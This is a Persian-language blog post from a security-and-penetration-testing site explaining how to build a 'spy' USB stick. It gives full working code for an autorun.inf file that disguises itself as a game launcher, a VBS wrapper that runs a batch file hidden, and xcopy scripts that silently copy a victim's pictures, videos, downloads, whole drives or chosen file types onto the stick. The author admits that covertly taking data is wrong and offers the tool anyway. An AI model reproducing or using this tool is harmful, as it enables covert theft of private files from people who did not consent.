آموزش امنیت و تست نفوذ

آموزش امنیت و مبانی امنیت شبکه و اطلاعات

آموزش امنیت و تست نفوذ

آموزش امنیت و مبانی امنیت شبکه و اطلاعات

آموزش امنیت و تست نفوذ

این سایت تابع قوانین جمهوری اسلامی ایران میباشد.
مطالب درصورت درخواست کارگروه تعیین مصادق مجرمانه اینترنتی حذف خواهد شد.

طبقه بندی موضوعی

ساختن حافظه جاسوسی

Saturday, 25 Ordibehesht 1395، 07:00 PM
سلام دوستان
شاید شما هم بعضی وقتا مجبور بشید از بعضی از سیستم ها مخفیانه اطلاعات دریافت کنید 
البته حتما میدونید که این کار درستی نیست :) 
خوب بریم سر اصل مطلب 

موارد لازم :
یدونه حافظه (رم ، فلش های usb ، هارد یا هر چیزی شبیه اینا)
چهارتا فایل txt
میخواییم حافظه مون رو طوری برنامه نویسی کنیم تا وقتی به سیستمی وصل شد خیلی سریع و بصورت مخفی تمام فایل هایی که لازم داریم رو توی خودش کپی کنه
برای اینکار ابتدا باید یه فایل اتوران براش درست کنیم
یه نوت پد باز کنید و کدهای زیر رو توش کپی کنید
البته بهتره بنویسید تا بهتر یاد بگیرین

[autorun]
icon=drive.ico
open=bl4ck.bat
action=Click ok to Run game for Windows
shell\open\command=Virus.bat
با نام autorun و فرمت inf ذخیره اش کنید
به خط سه اگه دقت کنید میبینید که باید فایلی با نام bl4ck.bat درست کنیم
بعد از اینکه اتوران رو ذخیره کردید کدها رو پاک کنید و دوباره کدهای زیر را در آن کپی کنید

wscript.exe \makhfi.vbs baba32.bat
این رو هم با اسم bl4ck.bat ذخیره کنید (بافرمت bat )
این فایل برای مخفی اجرا شدن فایل اصلی هستش که اگه به کد دقت کنید متوجه فایل اصلی هم خواهید شد
بعد از ذخیره دوباره پاک کنید و دوباره کدهای زیر رو کپی کنید

@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics"
%backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites"
%backupcmd% "%USERPROFILE%\videos" "%drive%\all\vids"
%backupcmd% "%USERPROFILE%\Music" "%drive%\all\music"
%backupcmd% "%USERPROFILE%\Downloads" "%drive%\all\download"
@echo off
cls
این هم برای کپی کردن سریع فایل ها هستش. که باید با اسمbaba32 و با فرمت bat ذخیره شه
در اینجا من دستور کپی شدن محتویات پوشه هایی که اسمشون رو با رنگ قرمز مشخص کردم رو وارد کردم که ما میتونیم این خط هارو کمتر یا بیشتر کنیم
در آخر هم باید یه اسکریپت داشته باشیم

CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
کدهای بالا رو با فرمت vbs و با اسم makhfi ذخیره کنید.
در نهایت همه فایل هارو هیدن کرده و وارد حافظه مجازی تون کنید.
کافیه حافظه مجازی (اگه گوشی بود کابلش رو و اگه فلش بود خودش رو) به سیستم وصل کنید. 
تمام فایل های موجود حتی فایل های مخفی شده در پوشه هایی که تعریف کردیم روی حافظه کپی خواهند شد.


پاسخ به سوالات مهم این پست :
سوال یک :
اگه بخوام درایو ها رو هم کپی کنه چکار باید بکنم
پاسخ :
برای اینکار باید کدهای زیر رو به فایل baba32 اضافه کنید
%backupcmd% "D:\" "%drive%\D"
برای مثال برای کپی کردن درایوهای و و فایل baba32 به شکل زیر باید باشد.
@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% "D:\" "%drive%\D"
%backupcmd% "E:\" "%drive%\E"
%backupcmd% "F:\" "%drive%\F"
@echo off
cls


سوال دو :
اگر بخواهیم فقط فایل های خاصی رو از این درایو ها یا پوشه ها کپی کنیم باید چکارکنیم؟
پاسخ :
باز هم همون فایل baba32 رو دست کاری میکنیم.
و به خط های بک آپ یا همون کپی مون تکه کد زیر رو اضافه میکنیم
.
*.فرمت فایل
مثال :
فرض کنید ما از بین تمام اطلاعات وفایل هایی که در این درایو ها وجود داره فقط فایل های پاورپوینت pps رو لازم داریم و نیازی به فایل های اضافی دیگر نداریم.
برای گل چین کردن فایل های مورد نظرمون باید کدهارو به شکل زیر بنویسیم.

@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% "D:\*.pps" "%drive%\D"
%backupcmd% "E:\
*.pps" "%drive%\E"
%backupcmd% "F:\
*.pps" "%drive%\F"
@echo off
cls
که در کدهای بالا بجای فرمت فایل های پاورپوینت pps میتونیم هر فرمت دیگه ای قرار بدیم مانند mp3 یا txt یا mp4 و یا .... بسته به نیاز خودتون :)
bl4ck.blog.ir

نظرات  (۰)

هیچ نظری هنوز ثبت نشده است

ارسال نظر

ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
شما میتوانید از این تگهای html استفاده کنید:
<b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
تجدید کد امنیتی